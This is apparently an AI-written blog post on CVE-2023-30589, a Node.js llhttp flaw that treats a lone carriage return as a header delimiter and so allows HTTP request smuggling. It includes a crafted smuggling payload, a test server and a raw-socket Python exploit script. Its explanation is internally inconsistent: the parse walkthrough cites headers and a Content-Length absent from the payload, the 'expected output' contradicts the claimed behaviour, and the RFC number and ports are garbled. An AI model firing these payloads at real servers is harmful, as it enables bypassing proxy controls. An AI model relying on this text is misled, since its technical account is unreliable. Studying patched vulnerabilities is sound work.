On May 31, 2023, Node.js security announced CVE-2023-30589, a serious vulnerability in all active branches (v16, v18, v20). The issue? Node’s HTTP parser (llhttp) mishandles the way it separates HTTP headers, taking a lone carriage return (CR, \r) as a valid delimiter instead of the required carriage return + line feed (CRLF, \r\n). This breaks HTTP protocol and enables dangerous attacks like HTTP Request Smuggling.
This post gives you an easy-to-read, exclusive deep dive into the bug, shows why it matters, and walks through a step-by-step exploitation scenario.
Understanding HTTP Request Smuggling
HTTP Request Smuggling (HRS) is a method that attacks the way web servers and proxies parse HTTP requests, causing two systems to see the same stream of data differently. If one “splits” requests on a CR only (non-compliant!), but the other requires CRLF, then a cleverly constructed request can trick them.
Result: Attackers can bypass security controls, falsify requests, or even steal user data.
The CRLF Bug in Node.js llhttp Parser
According to RFC723 section-3, every HTTP header line MUST end with a CRLF (\r\n) sequence. But in Node.js v20.2. (and earlier in v16, v18), the underlying llhttp parser would consider a single CR (\r) as enough to end a header line.
Why’s this a big deal?
Many proxies (like nginx, HAProxy) follow the RFC strictly and *require* CRLF. If your app backend is Node.js and it's less strict, the two systems will see different requests. That’s where exploitation starts!
The Vulnerable Code
Let’s take a quick look at the heart of the issue. Here’s simplified pseudocode similar to what exists in the HTTP parser (llhttp):
// Simplified: handling header lines (pseudocode)
if (ch == '\r' || ch == '\n') {
// ends the current header field
process_header();
if(ch == '\r') advance();
if(ch == '\n') advance();
}
Exploit Scenario - Smuggling via lone CR
Let’s say a reverse proxy (like nginx) sits in front of your Node.js app. nginx expects headers to end in \r\n only, so anything else, it treats as a single incoming request.
But Node.js will see a lone \r as a line end and happily parse another request inside that same HTTP connection. By sending a carefully crafted payload, an attacker can “smuggle” a second request in the first, which only your backend sees.
`
POST / HTTP/1.1\r\n
\r
GET /admin HTTP/1.1\r\n
`
Proxy parses as:
- One POST request to / with a broken Host: header,
- Content-Length 6 (GET /a as body)
Node.js parses as:
- Post to / with Host: victim.com
END HEADER due to lone \r
- Parses next lines as new request: GET /admin ...
Result: Attacker’s second (‘smuggled’) request runs on your server, while the proxy is none the wiser.
server.js
const http = require('http');
const server = http.createServer((req, res) => {
console.log(Received: ${req.method} ${req.url});
let body = "";
req.on('data', chunk => body += chunk);
req.on('end', () => {
console.log('Body:', body);
res.end('OK');
});
});
server.listen(300, () => console.log('Server listening on 300'));
malicious_request.txt
POST / HTTP/1.1\r\n
Host: localhost\r
Content-Length: 7\r
\r
GET /evil HTTP/1.1\r\n
Fake: header\r\n
\r\n
*(In reality you should use raw socket, because browser/HTTP libs normalize line endings)*
Python exploit script
import socket
sock = socket.create_connection(('localhost', 300))
payload = (
b"POST / HTTP/1.1\r\n"
b"Host: localhost\r"
b"Content-Length: 7\r"
b"\r"
b"GET /evil HTTP/1.1\r\n"
b"Fake: header\r\n"
b"\r\n"
)
sock.sendall(payload)
print(sock.recv(1024))
sock.close()
Expected Output
Received: POST /
Body: GET /evil HTTP/1.1
Fake: header
Notice: Node.js treats the lone \r as end-of-headers and parses the remainder as a new request.
Mitigation and Patching
- This flaw was fixed in Node.js versions: v16.20.1, v18.16.1, v20.3.1
If you run *any* service exposed via HTTP, always keep your runtime and dependencies up to date!
- Consider placing a strict, RFC-compliant reverse proxy in front, but if the backend is buggy, patch both.
References
- CVE-2023-30589 at NVD
- Node.js Security Release: June 2023
- RFC723, Section 3: Message Format
- Request Smuggling – PortSwigger
- llhttp GitHub
Summary:
CVE-2023-30589 is a subtle but severe bug that undermines HTTP’s fundamental expectations and enables smart attackers to pull off request smuggling against Node.js APIs and apps. If you’re running Node.js below the patched versions, you’re at risk—patch now!
*© 2024 – Exclusive writeup by ChatGPT. Not for re-use without attribution.*
Timeline
Published on: 07/01/2023 00:15:00 UTC
Last modified on: 07/21/2023 19:18:00 UTC